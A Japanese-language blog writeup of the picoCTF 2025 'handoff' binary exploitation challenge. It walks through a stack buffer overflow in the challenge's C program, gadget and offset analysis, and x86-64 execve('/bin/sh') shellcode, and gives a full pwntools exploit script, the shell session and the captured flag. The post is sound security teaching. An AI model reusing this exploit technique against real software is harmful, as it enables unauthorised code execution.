0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2025 writeup handoff

Last updated at Posted at 2025-12-19

handoff (Binary Exploitation)

Download the binary here Download the source here Connect to the program with netcat: $ nc shape-facility.picoctf.net 49851

添付ファイル
・handoff
・handoff.c

とりあえず、実行してみる。

$ nc shape-facility.picoctf.net 49851
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app

1でbuffer overflowすると2が想定通りの挙動にならない。
ソースコードを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;

void print_menu() {
	puts("What option would you like to do?");
	puts("1. Add a new recipient");
	puts("2. Send a message to a recipient");
	puts("3. Exit the app");
}

int vuln() {
	char feedback[8];
	entry_t entries[10];
	int total_entries = 0;
	int choice = -1;
	// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
	while (true) {
		print_menu();
		if (scanf("%d", &choice) != 1) exit(0);
		getchar(); // Remove trailing \n

		// Add entry
		if (choice == 1) {
			choice = -1;
			// Check for max entries
			if (total_entries >= MAX_ENTRIES) {
				puts("Max recipients reached!");
				continue;
			}

			// Add a new entry
			puts("What's the new recipient's name: ");
			fflush(stdin);
			fgets(entries[total_entries].name, NAME_LEN, stdin);
			total_entries++;
			
		}
		// Add message
		else if (choice == 2) {
			choice = -1;
			puts("Which recipient would you like to send a message to?");
			if (scanf("%d", &choice) != 1) exit(0);
			getchar();

			if (choice >= total_entries) {
				puts("Invalid entry number");
				continue;
			}

			puts("What message would you like to send them?");
			fgets(entries[choice].msg, MSG_LEN, stdin);
		}
		else if (choice == 3) {
			choice = -1;
			puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
			fgets(feedback, NAME_LEN, stdin);
			feedback[7] = '\0';
			break;
		}
		else {
			choice = -1;
			puts("Invalid option");
		}
	}
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
	vuln();
	return 0;
}

fgets(entries[total_entries].name, NAME_LEN, stdin);fgets(feedback, NAME_LEN, stdin);の部分に、BOFがある。
nameとfeedbackが8bytesしかないところ、NAME_LENの64bytes分の文字列を受け取っている。

nameでBOFしても何かできる訳ではないので、ポイントとなるのはfeedbackの方である。
execve("/bin/sh", 0, 0)を実行するshellcodeをmsgに書き込み、msgのshellcodeにジャンプするshellcodeをfeedbackに書き込むことで、shellを起動できてフラグを取得できる。

$ file handoff
handoff: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=92ca62928eb98ee283995cddad65f7732aad5e0f, for GNU/Linux 3.2.0, not stripped

$ checksec handoff
[*] 'handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

feedbackに書き込んだshellcodeを実行させる方法を考える。
BOFによる上書きで有効なのは32bytes分であり、ROPは難しい。
feedbackへの書き込みはfgets関数が使われており、fgets関数の戻り値はfeedbackへのポインタなので、fgets関数呼び出し後のraxにはfeedbackへのポインタが格納されていることになる。
call raxのガジェットを探すと、ちょうど使えるものが存在した。

$ ROPgadget --binary handoff | grep "call rax"
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x0000000000401014 : call rax
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

このcall rax = 0x401014をreturn addressのところに書き込む。

入力からreturn addressまでのoffsetを計算する。

pwndbg> cyclic -n 4 -l faaa
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20

よって、offsetは20bytesである。

feedbackに書き込むshellcodeを考える。

0000000000401229 <vuln>:
  401229:       f3 0f 1e fa             endbr64
  40122d:       55                      push   rbp
  40122e:       48 89 e5                mov    rbp,rsp
  401231:       48 81 ec f0 02 00 00    sub    rsp,0x2f0
  401238:       c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
  40123f:       c7 85 1c fd ff ff ff    mov    DWORD PTR [rbp-0x2e4],0xffffffff
  401246:       ff ff ff
  401249:       b8 00 00 00 00          mov    eax,0x0
  40124e:       e8 a3 ff ff ff          call   4011f6 <print_menu>
  401253:       48 8d 85 1c fd ff ff    lea    rax,[rbp-0x2e4]
  40125a:       48 89 c6                mov    rsi,rax
  40125d:       bf 79 20 40 00          mov    edi,0x402079
  401262:       b8 00 00 00 00          mov    eax,0x0
  401267:       e8 84 fe ff ff          call   4010f0 <__isoc99_scanf@plt>
  40126c:       83 f8 01                cmp    eax,0x1
  40126f:       74 0a                   je     40127b <vuln+0x52>
  401271:       bf 00 00 00 00          mov    edi,0x0
  401276:       e8 85 fe ff ff          call   401100 <exit@plt>
  40127b:       e8 40 fe ff ff          call   4010c0 <getchar@plt>
  401280:       8b 85 1c fd ff ff       mov    eax,DWORD PTR [rbp-0x2e4]
  401286:       83 f8 01                cmp    eax,0x1
  401289:       75 76                   jne    401301 <vuln+0xd8>
  40128b:       c7 85 1c fd ff ff ff    mov    DWORD PTR [rbp-0x2e4],0xffffffff
  401292:       ff ff ff
  401295:       83 7d fc 09             cmp    DWORD PTR [rbp-0x4],0x9
  401299:       7e 0f                   jle    4012aa <vuln+0x81>
  40129b:       bf 7c 20 40 00          mov    edi,0x40207c
  4012a0:       e8 fb fd ff ff          call   4010a0 <puts@plt>
  4012a5:       e9 5d 01 00 00          jmp    401407 <vuln+0x1de>
  4012aa:       bf 98 20 40 00          mov    edi,0x402098
  4012af:       e8 ec fd ff ff          call   4010a0 <puts@plt>
  4012b4:       48 8b 05 b5 2d 00 00    mov    rax,QWORD PTR [rip+0x2db5]        # 404070 <stdin@GLIBC_2.2.5>
  4012bb:       48 89 c7                mov    rdi,rax
  4012be:       e8 0d fe ff ff          call   4010d0 <fflush@plt>
  4012c3:       48 8b 0d a6 2d 00 00    mov    rcx,QWORD PTR [rip+0x2da6]        # 404070 <stdin@GLIBC_2.2.5>
  4012ca:       48 8d b5 20 fd ff ff    lea    rsi,[rbp-0x2e0]
  4012d1:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4012d4:       48 63 d0                movsxd rdx,eax
  4012d7:       48 89 d0                mov    rax,rdx
  4012da:       48 c1 e0 03             shl    rax,0x3
  4012de:       48 01 d0                add    rax,rdx
  4012e1:       48 c1 e0 03             shl    rax,0x3
  4012e5:       48 01 f0                add    rax,rsi
  4012e8:       48 89 ca                mov    rdx,rcx
  4012eb:       be 20 00 00 00          mov    esi,0x20
  4012f0:       48 89 c7                mov    rdi,rax
  4012f3:       e8 b8 fd ff ff          call   4010b0 <fgets@plt>
  4012f8:       83 45 fc 01             add    DWORD PTR [rbp-0x4],0x1
  4012fc:       e9 48 ff ff ff          jmp    401249 <vuln+0x20>
  401301:       8b 85 1c fd ff ff       mov    eax,DWORD PTR [rbp-0x2e4]
  401307:       83 f8 02                cmp    eax,0x2
  40130a:       0f 85 a6 00 00 00       jne    4013b6 <vuln+0x18d>
  401310:       c7 85 1c fd ff ff ff    mov    DWORD PTR [rbp-0x2e4],0xffffffff
  401317:       ff ff ff
  40131a:       bf c0 20 40 00          mov    edi,0x4020c0
  40131f:       e8 7c fd ff ff          call   4010a0 <puts@plt>
  401324:       48 8d 85 1c fd ff ff    lea    rax,[rbp-0x2e4]
  40132b:       48 89 c6                mov    rsi,rax
  40132e:       bf 79 20 40 00          mov    edi,0x402079
  401333:       b8 00 00 00 00          mov    eax,0x0
  401338:       e8 b3 fd ff ff          call   4010f0 <__isoc99_scanf@plt>
  40133d:       83 f8 01                cmp    eax,0x1
  401340:       74 0a                   je     40134c <vuln+0x123>
  401342:       bf 00 00 00 00          mov    edi,0x0
  401347:       e8 b4 fd ff ff          call   401100 <exit@plt>
  40134c:       e8 6f fd ff ff          call   4010c0 <getchar@plt>
  401351:       8b 85 1c fd ff ff       mov    eax,DWORD PTR [rbp-0x2e4]
  401357:       39 45 fc                cmp    DWORD PTR [rbp-0x4],eax
  40135a:       7f 0f                   jg     40136b <vuln+0x142>
  40135c:       bf f5 20 40 00          mov    edi,0x4020f5
  401361:       e8 3a fd ff ff          call   4010a0 <puts@plt>
  401366:       e9 9c 00 00 00          jmp    401407 <vuln+0x1de>
  40136b:       bf 10 21 40 00          mov    edi,0x402110
  401370:       e8 2b fd ff ff          call   4010a0 <puts@plt>
  401375:       48 8b 0d f4 2c 00 00    mov    rcx,QWORD PTR [rip+0x2cf4]        # 404070 <stdin@GLIBC_2.2.5>
  40137c:       8b 85 1c fd ff ff       mov    eax,DWORD PTR [rbp-0x2e4]
  401382:       48 8d b5 20 fd ff ff    lea    rsi,[rbp-0x2e0]
  401389:       48 63 d0                movsxd rdx,eax
  40138c:       48 89 d0                mov    rax,rdx
  40138f:       48 c1 e0 03             shl    rax,0x3
  401393:       48 01 d0                add    rax,rdx
  401396:       48 c1 e0 03             shl    rax,0x3
  40139a:       48 01 f0                add    rax,rsi
  40139d:       48 83 c0 08             add    rax,0x8
  4013a1:       48 89 ca                mov    rdx,rcx
  4013a4:       be 40 00 00 00          mov    esi,0x40
  4013a9:       48 89 c7                mov    rdi,rax
  4013ac:       e8 ff fc ff ff          call   4010b0 <fgets@plt>
  4013b1:       e9 93 fe ff ff          jmp    401249 <vuln+0x20>
  4013b6:       8b 85 1c fd ff ff       mov    eax,DWORD PTR [rbp-0x2e4]
  4013bc:       83 f8 03                cmp    eax,0x3
  4013bf:       75 32                   jne    4013f3 <vuln+0x1ca>
  4013c1:       c7 85 1c fd ff ff ff    mov    DWORD PTR [rbp-0x2e4],0xffffffff
  4013c8:       ff ff ff
  4013cb:       bf 40 21 40 00          mov    edi,0x402140
  4013d0:       e8 cb fc ff ff          call   4010a0 <puts@plt>
  4013d5:       48 8b 15 94 2c 00 00    mov    rdx,QWORD PTR [rip+0x2c94]        # 404070 <stdin@GLIBC_2.2.5>
  4013dc:       48 8d 45 f4             lea    rax,[rbp-0xc]
  4013e0:       be 20 00 00 00          mov    esi,0x20
  4013e5:       48 89 c7                mov    rdi,rax
  4013e8:       e8 c3 fc ff ff          call   4010b0 <fgets@plt>
  4013ed:       c6 45 fb 00             mov    BYTE PTR [rbp-0x5],0x0
  4013f1:       eb 19                   jmp    40140c <vuln+0x1e3>
  4013f3:       c7 85 1c fd ff ff ff    mov    DWORD PTR [rbp-0x2e4],0xffffffff
  4013fa:       ff ff ff
  4013fd:       bf b6 21 40 00          mov    edi,0x4021b6
  401402:       e8 99 fc ff ff          call   4010a0 <puts@plt>
  401407:       e9 3d fe ff ff          jmp    401249 <vuln+0x20>
  40140c:       90                      nop
  40140d:       c9                      leave
  40140e:       c3                      ret

feedbackの先頭アドレスはrbp-0xcである。

rbp-0x2e4がindex番号で、entriesはname+msgの72bytes区切りになっている。rbp-0x2e0が配列の先頭で、msgはnameの8bytes先なので、8bytesを加算してentires[i].msg = (i*72)+(rbp-0x2e0)+0x8がmsgの先頭アドレスになる。
よって、entries[0].msgの先頭アドレスはrbp-0x2d8である。

以上より、feedbackからentries[0].msgのoffsetは、(rbp-0x2d8) - (rbp-0xc) = -0x2ccである。

raxにはfeedbackへのポインタが格納されているので、そこから0x2ccを減算したアドレスがentries[0].msgの先頭アドレスとなり、shellcodeは以下のようになる。
ちなみに、feedback[7] = '\0';があるので、それを考慮してnopを入れて調整している。

nop
nop
nop
nop
nop
sub rax, 0x200
sub rax, 0xcc
jmp rax

entries[0].msgに書き込むshellcodeを考える。msgには0x40bytes分しか書き込めない。
execve("/bin/sh", 0, 0)を実行するshellcodeは以下の通り。

push   rax
xor    rdx, rdx
xor    rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push   rbx
push   rsp
pop    rdi
mov    al, 0x3b
syscall

以下、実行コード。

from pwn import *

context.binary = ('./handoff')
#context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./handoff')

p = remote('shape-facility.picoctf.net', 49851)
#p = process(elf.path)

#gdb_script = (f"""
#    b *0x4013e8
#""")
#gdb.attach(p, gdb_script)

shellcode = asm(
    """
    xor    rax, rax
    push   rax
    xor    rdx, rdx
    xor    rsi, rsi
    movabs rbx, 0x68732f2f6e69622f
    push   rbx
    push   rsp
    pop    rdi
    mov    al, 0x3b
    syscall
    """
)

jmp_to_shellcode = asm(
    """
    nop
    nop
    nop
    nop
    nop
    sub rax, 0x200
    sub rax, 0xcc
    jmp rax
    """
)

payload = jmp_to_shellcode.ljust(20, b"a")
payload += p64(next(elf.search(asm("call rax;"), executable=True)))

p.sendlineafter(b"app", b"1")
p.sendlineafter(b"name: ", b"a")

p.sendlineafter(b"app", b"2")
p.sendlineafter(b"to?", b"0")
p.sendlineafter(b"them?", shellcode)

p.sendlineafter(b"app", b"3")
p.sendlineafter(b"it: ", payload)
#pause()

p.interactive()

実行する。

$ python3 solve.py
[*] '/colza/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to shape-facility.picoctf.net on port 49851: Done
[*] Switching to interactive mode

$ ls
flag.txt
handoff
start.sh
$ cat flag.txt
picoCTF{p1v0ted_ftw_e4ab0a56}$
$ exit

フラグが得られた。

picoCTF{p1v0ted_ftw_e4ab0a56}

References

https://www.exploit-db.com/exploits/42179
https://new0.medium.com/picoctf-handoff-c44a92f62c3b

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?